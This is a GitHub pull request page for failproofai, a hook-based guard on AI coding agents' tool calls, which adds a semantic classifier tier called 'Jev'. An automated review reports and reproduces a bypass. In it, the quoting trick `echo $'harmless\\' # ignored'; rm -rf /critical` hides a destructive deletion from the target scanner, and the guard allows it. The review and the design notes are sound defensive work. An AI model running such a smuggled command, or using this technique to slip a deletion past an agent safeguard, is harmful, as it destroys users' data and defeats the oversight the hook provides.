targetTokens() falls back to raw command words only when the partial scanner produced no target (lines 86-97). The scanner does not understand an escaped quote in ANSI-C quoting and treats the following # as a comment (facts.ts:84-115). Consequently, for echo $'harmless\\' # ignored'; rm -rf /critical, the containerized reproduction returned ["harmless"]; /critical is never considered. With a reviewable destructive-deletion policy and otherwise qualifying Jev answers, decideV1() returned allow for the user message remove harmless, because lines 324-353 accept any matching scanned target. This bypasses the local check intended to ensure that an override names the actual destructive target.
Required change: Make target extraction fail closed whenever scanning may be incomplete, rather than only when it is empty. Have the scanner report truncation/unsupported shell syntax and prohibit intent overrides for that command (or use a shell-aware parser that reliably identifies every command target). Add regressions where a harmless pre-comment token precedes each fake-comment form and a destructive target follows it.
…oot in the survey 137ddf4 deduplicated custom policy files by resolved path, but resolved a configured path against the process cwd while the loader resolves it against the project root. A relative path naming a convention file was then counted twice whenever jev status or the dashboard ran from another directory, so the "each file once" the CHANGELOG promises did not hold. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…he hook path 35c5207 recorded which pack a deciding Jev check came from by `await import("./semantic/pack-policies")` in handler.ts. That only ran when Jev had decided, but it broke the boundary this PR pins in pack-semantic-import-boundary.test.ts ("the pack->policy resolver is loaded by the semantic evaluator and the publish command, and nothing else"), so that test failed at the branch head. The evaluator already resolved the checks it asked, with their origin. Each PolicyOutcome now carries its check's `origin`, the answered JevReview names the deciding check's, and the two-tier result hands it to the handler as `jevOrigin`. The activity row is unchanged (the two-tier-handler provenance test still passes); handler.ts no longer references pack-policies. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…ge version The test asserted packageVersion < 1.0.7, true only while the branch sat on the 1.0.7 prerelease line. Merging main moved it to 1.0.8-beta.0 and the assertion failed. What it means to pin is that a prerelease does not satisfy a minimum of its own release, so compare the version against its own release instead of a hard-coded one. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
hermes-exosphere
requested changes
Sep 27, 2026
hermes-exosphere
left a comment
hermes-exosphere
left a comment
Contributor
There was a problem hiding this comment.
Hermes found blocking issues that should be addressed.
Review coverage was incomplete, but the concrete blocking findings below are sufficient to request changes.
High: Partial target scan can clear a deny for a different target
- Rule:
SEC-001 - Location:
src/hooks/semantic/decide.ts:91 - Evidence:
targetTokens()falls back to raw command words only whenscanCommand()yielded no tokens (src/hooks/semantic/decide.ts:91). If the scanner stops at a#it incorrectly treats as a comment after already seeing an innocuous token, the fallback is skipped. In an isolated reproduction,echo $'harmless\\' # ignored'; rm -rf /criticalproduced targets["harmless"]; with destructive-deletion evidence, qualifying op-requested answers, and the user messageremove harmless,decideV1()returnedallow. The target gate accepts any one matching target at src/hooks/semantic/decide.ts:330, so the unscanned/criticalcan be cleared despite not being requested. - Required change: Make target extraction fail closed whenever shell scanning may be incomplete, not only when its result is empty. Propagate an incomplete/unsupported-syntax signal from the scanner and prohibit intent overrides for that call, or replace it with parsing that reliably identifies every target. Add regressions with an innocent pre-comment target and a destructive target after each fake-comment form.
This branch has not been deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
A two-tier hook evaluator: the regex policies stay a hard floor, and Jev — TypeSafe's non-autoregressive classifier — can clear policies explicitly marked reviewable, or add a deny or a warning of its own.
It is off unless the customer configures their own endpoint and key. With no
~/.failproofai/jev.json, the hook path is what it was before this branch, pinned by a golden that compares 2,088 cases — decision, reason, policy names, stdout, exit code, persisted activity rows and key order — against a recording made before the evaluation path changed. That golden passes byte-for-byte. One deliberate exception is described under "What changes for users who never configure Jev".What it does, measured
All 1,332 labelled cases through the real handler. The live run is one Cloudflare pass whose per-case answers were recorded; later variants are replayed against that recording, which reproduced the live run 1332/1332 on the rule it was recorded under.
Three things had to be fixed before those numbers were reachable, and each was found by measurement rather than review:
noneoroverridden, so a warning-level answer left a hard block standing. It now clears unless a named check answersdeny— every one of the 54 cases that moved went deny → warning, and none went deny → allow.block-read-outside-cwddenies any path outside cwd, but its paired checkread-outside-workspaceonly fired for paths under$HOME, so for/tmppaths the question was never asked and "Jev may only clear what it was asked" made the block permanent. Jev said allow on 103 of those 106 cases.//comment in a heredoc as the path/and consumedcdtargets without recording them, so the reviewer still was not asked on 16% of that policy's denials. Fixing both moved paired coverage from 83.5% to 92.7% and removed 12 more false blocks at a cost of one attack — an.envexfiltration that goes from deny to warning, and which the regex tier still denies outright throughblock-env-files.The research's 2.3% was never comparable. The offline model had no pairing at all: it discarded the regex verdict and used Jev's whole answer. The plan's targets came from that model.
The clear rule
A reviewable policy's verdict is cleared only when every check named in its
reviewedBywas actually asked and none answereddeny. A check that was never asked always keeps the verdict standing. Clearing on a warning silences nothing: the same answer makes Jev's own decision an instruct, so the call comes out as Jev's warning instead of the regex policy's block.Injection withdraws every clear. A request Jev was only shown part of clears nothing. A hard policy is never clearable, and
block-failproofai-commandsisalwaysOnand hard by construction.Authority
Every policy carries
authority(hard|reviewable) andreviewedBy, flowing from the builtin catalog, pack manifests, cloud artifacts and custom hooks into the registry. Absent, invalid, an emptyreviewedBy, oralwaysOnall resolve to hard, so an unknown custom, pack or third-party policy can never be weakened.Seven builtins are reviewable:
block-read-outside-cwd,protect-env-vars,block-env-files(the three measured as noisiest), plusblock-work-on-main,warn-git-amend,warn-destructive-sqlandwarn-global-package-install. All 38 pack policies were examined for further pairings; every candidate was refused with a measured reason.What changes for users who never configure Jev
Almost nothing, and the exception is a bug fix rather than the evaluator.
extractAbsolutePathsno longer reads a bare//as the root, and no longer starts a match on the second slash of://. So a heredoc containing a// comment, or a command containinghttp://host/path, stops looking like a read outside the project. On the labelled corpus that turns 10 denials into allows, all 10 labelled safe.//etc/passwd, a lone/,ls /**and genuine absolute paths inside heredocs still match.Also in here
~/.failproofai/jev.json, global scope only, 0600, refused if the file or its directory is group/world-writable. Five providers: TypeSafe direct, OpenRouter, Vercel AI Gateway, Cloudflare Workers AI, custom URL.failproofai jev—setup/status/test/remove, plus the one-shotfailproofai jev --url <url> --token <token>with the provider inferred from the host.--key-stdinstays the documented recommendation;--tokenwarns that a command line lands in shell history and the process list.jev statusand the panel say so (0 of 11 enabled policies are reviewable…) and name the fix. A pack published before this release declares no authority, so without this the clear half simply never works and nothing says why.sk-form,sk-ant-/sk-proj-, Vercelvck_,AuthorizationandProxy-Authorizationvalues, credential flags, private key bodies. Gate: 1,332 replayed requests plus 22 runtime-built fixtures, zero secrets in any request body.Fixes worth naming
PreToolUsehook for 27.8 seconds. Now flat in field count.Upgrade path
Verified in containers against a real published 1.0.6 install, on three machine shapes (pack-installed, no-pack, custom policy file):
npm i -g failproofai && failproofai updateis the whole upgrade.PROTOCOL_VERSIONandLAYOUT_VERSIONare unchanged, so the fail-closed protocol-mismatch path never fires and there is no deny-everything window. Enabled policies, custom policy paths and every agent's hooks config come through byte-identical; decisions match character-for-character across 13 hook events; 1.0.6-written activity rows still read.Known gaps
reads_outsideprobe's wording still describes only home-directory paths, while its precondition now covers system and root paths too. Asked about a system path with home-path wording, Jev can answer low and clear the policy. The fix is a wording change to a calibrated classifier input, so it needs a corpus replay to validate and is deliberately not bundled here.@/aliasshares the shape ofcurl -d @/etc/passwd;/**really does read root) or needs heredoc-body parsing.block-kubectlis the clearest case where a different customer's traffic would change the answer.Policies ship as a pack, including Jev's
Added to this PR rather than a follow-up, because the beta has to carry all of it at once: a pack published against a CLI that lacks this feature installs cleanly and silently drops its entire Jev half.
Until now the 16 semantic policies were a compiled-in constant, and a pack manifest had fields only for a regex-style policy. So the clear half of the two-tier design only worked for policies shipping inside the binary, and on a pack-installed machine Jev could only ever add denies. That is the "a pack published before this release marks nothing reviewable" gap under Known gaps — closed rather than documented.
A pack can now declare Jev's questions.
semanticPolicies.add({...})is public API besidecustomPolicies.add, a manifest carries asemanticarray, andpublishemits it from the entry's registrations the way it already emits the regex catalog. A separate namespace, because a semantic policy has nofnand nomatchand never executes locally — putting it behind the object whose other method returnsallow()/deny()invites exactly the shape confusion the parser then has to catch.A precondition is a name, never code
Two of the 16 gate their questions on a deterministic fact. A manifest cannot carry a function, and a downloaded artifact that gates every tool call does not get to carry an expression this process evaluates. So
preconditionis a name from a closed registry, split in two: the names are a string list with zero imports, because the parser runs on every hook event and8b9ca9acin this PR exists to stop the semantic modules loading on a machine that never configured Jev. The predicates live on the Jev side.pack-semantic-import-boundary.test.tswalks the transitive graph from the parser, the registry and the reviewer resolver and pins that none of them reaches a Jev runtime module — the guarantee is now enforced instead of remembered.An unknown name drops that one policy and records why. Dropping is the safe direction: a semantic policy is what clears a reviewable verdict, so losing one leaves the regex block standing — noisier, never weaker.
The pack replaces the compiled set, and that is what makes
reviewedByworkA pack declaring at least one semantic entry replaces
SEMANTIC_POLICIESwholesale, mirroring the rule already in force for regex builtins. One source of truth, so a name cannot mean two question sets.resolvePolicyAuthoritynow judgesreviewedByagainst the effective reviewer set — the pack's own semantic names when a pack declares any, else the written-out builtin list. This is the load-bearing part: without it a pack policy naming its own pack's check resolves tohardfor naming "a check this build does not have", and every authority mark in the pack is inert while looking correct.surveyReviewableCoverage()counts against the same set, or its diagnostic lies on exactly the machines this is for.minCliVersion
An older CLI ignores both new fields silently. So a manifest can state a minimum, and an older CLI refuses the pack through the existing
PackErrorpath — which already carrieseffectandclison a failure so anobservepack that fails to load does not make the machine deny. Refused at add time as well as at read: refusing at add is a message someone can act on, refusing at read is a machine that denies every tool call until somebody works out why.daemonVersionSkew()only does string equality, so the comparison is a new module with real semver precedence —1.0.6<1.0.7-beta.0<1.0.7-beta.1<1.0.7<1.0.8. A split-on-dots implementation makes the beta satisfy a1.0.7minimum, which is backwards in the one direction that matters. Absent and malformed are deliberately not the same value: absent must satisfy, because every pack published before this release has no minimum; malformed is ignored and recorded, because a publisher's typo in a version string must not deny every tool call on a stranger's machine.Caps come from the envelope, not from a guess
Per-policy caps (≤ 24 policies, ≤ 6 probes) are a cheap early guard. The cap that binds is on total compiled question characters, derived from
MAX_REQUEST_CHARS - MAX_STATE_CHARS, because a written-down number drifts from the envelope. The first draft capped counts instead, and what it allowed — 24 policies at 80 probes, at the measured 496 characters per probe — compiles to 54,008 characters, which with full state is 215,032 against a 192,000 budget. A pack that installs cleanly and can never be sent, and it would have quietly turnedPreparedCall.oversizedfrom "our own questions overran" into nothing. The real 16 use 19,787 worst case.Fixes this turned up
policies addfetched a pack's Jev half, verified it, and dropped it. Every test passed because they install by writing the record directly; a real install wrote neithersemanticnorminCliVersionintoinstalled.json. Green suite, inert product.publishdropped every policy'sparamsschema. Registration reads a pack policy's parameter schema from the manifest, so a missing schema meansctx.params = {}and discards the user's own configured values too. 19 of 38 carry params: published that wayprefer-package-manageris permanently inert andblock-sudo'sallowPatternsandblock-read-outside-cwd'sallowPathsstop working — every one failing silently stricter, the direction nobody reports as a bug.--min-cli-versionwas parsed, validated, and never written to the manifest.publishhandsbuildan assembled argument list, so every flag must be forwarded by name. Invisible from both sides: the command refused an uncomparable value exactly as documented, andbuild's own tests pass because they callbuilddirectly. Found by building the real artifact and asserting on the manifest instead of on an exit code.A semantic-only pack drew an empty picker and an install summary reading "none — the pack is installed and enforcing nothing", for a pack enforcing entirely through the Jev tier. The preview, picker, summary and dashboard now count them, and call them Jev checks rather than policies — nothing switches them on or off,
--policycannot name one, and they are in no policies listing.block-work-on-mainwas reviewable by a check that can only clear it.commit-on-protected-branchcovers exactly its concern but is instruct-mode, and an instruct-mode check can never answer deny — so the conjunction had one reachable outcome. The mark did not hand the decision to Jev: it switched the policy off on every Jev-configured machine while the authority table, the manifest andjev statusall reported it as reviewed.The test is not "can the named reviewer keep this block" but "is there anything left that can deny".
block-read-outside-cwdalso names only an instruct-mode reviewer and correctly stays reviewable: when it clears,secret-exposureandcredential-exfiltrationare still asked about the same read and still deny on their own through the most-severe merge, so Jev replaces the regex judgment rather than surrendering it. Here nothing else covers committing on a protected branch. The other five reviewable builtins were checked against the same test; this was the only one. Six builtins are reviewable, not seven.Both ways of pairing a policy wrongly are silent, and the asymmetry was written down nowhere.
authority.mdxnow states it: a check that is never asked makes the block permanent; a check that is asked and does not fire answers "no concern", which clears — so pairing with a check that does not model your policy's shapes does not review the policy, it switches it off for exactly the inputs that check does not understand.What changes for users who never configure Jev
Nothing. Both manifest fields are optional, so every pack published before this release parses unchanged, and no semantic module is imported when
~/.failproofai/jev.jsonis absent. The 2,088-case golden passes byte-for-byte.Testing
tscclean. Lint identical to main (5 warnings, 0 errors, same files and lines). Unit: 6,994 passed, with the only failures being twofp-resetdaemon-skew tests that fail identically onorigin/main. Build emits all four artifacts. E2E 333/333, same as main. The only pre-existing test files modified are count pins and two fixtures that pinned constants this branch deliberately changed.🤖 Generated with Claude Code
Hermes review
13fe626eda1c26a4c2a6873417eec7cad3981c5d1d8f31d926828f3bae215c58f5b35baa44acbff0gpt-5.6-terraSummary
One previously reported high-severity semantic-clear bypass remains reachable at head. Focused tests pass, but they do not cover the partial target-scan case.
Changes
Validation
Passeddocker run --rm --network=bridge -v /review/input/workspace:/source:ro -w /tmp oven/bun:latest sh -c 'set -e; cp -a /source repo; cd repo; bun install --frozen-lockfile >/tmp/install.log; bunx vitest run __tests__/hooks/semantic/decide.test.ts __tests__/hooks/semantic/jev-client-hardening.test.ts __tests__/hooks/semantic/jev-providers.test.ts'— Focused semantic-decider and provider hardening tests completed successfully in a disposable container. (27s)Passeddocker run --rm --network=none -v /review/input/workspace:/workspace:ro -w /workspace oven/bun:latest bun -e '<direct decideV1 reproduction>'— Reproduced the finding: the malformed quoted command yielded only the harmless target anddecideV1returned allow forremove harmless. (1s)Findings
targetTokens()falls back to raw command words only whenscanCommand()yielded no tokens (src/hooks/semantic/decide.ts:91). If the scanner stops at a#it incorrectly treats as a comment after already seeing an innocuous token, the fallback is skipped. In an isolated reproduction,echo $'harmless\\' # ignored'; rm -rf /criticalproduced targets["harmless"]; with destructive-deletion evidence, qualifying op-requested answers, and the user messageremove harmless,decideV1()returnedallow. The target gate accepts any one matching target at src/hooks/semantic/decide.ts:330, so the unscanned/criticalcan be cleared despite not being requested. (src/hooks/semantic/decide.ts:91)Open questions
None.
Policy overrides
None.
Summary by CodeRabbit
failproofai jevor dashboard settings with supported providers and enforce or shadow mode.cd.failproofai update.